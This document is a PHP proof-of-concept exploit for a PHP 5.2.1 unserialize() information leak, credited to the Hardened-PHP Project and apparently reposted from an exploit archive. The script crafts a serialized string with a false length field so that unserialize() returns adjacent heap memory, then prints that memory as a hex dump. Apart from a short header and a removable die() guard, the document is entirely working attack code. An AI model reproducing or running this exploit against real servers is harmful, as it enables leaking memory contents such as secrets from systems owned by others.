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PHP 5.2.1 unserialize() Local Information Leak Exploit
[======================================================
PHP 5.2.1 unserialize() Local Information Leak Exploit
======================================================
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 5.2.1 unserialize() Information Leak Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
$str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"';
$arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);
$heapdump = unserialize($str);
echo "Heapdump\n---------\n\n";
$len = strlen($heapdump);
for ($b=0; $b<$len; $b+=16) {
printf("%08x: ", $b);
for ($i=0; $i<16; $i++) {
if ($b+$i<$len) {
printf ("%02x ", ord($heapdump[$b+$i]));
} else {
printf (".. ");
}
}
for ($i=0; $i<16; $i++) {
if ($b+$i<$len) {
$c = ord($heapdump[$b+$i]);
} else {
$c = 0;
}
if ($c > 127 || $c < 32) {
$c = ord(".");
}
printf ("%c", $c);
}
printf("\n");
}
?>
# 0day.today [2024-11-15] #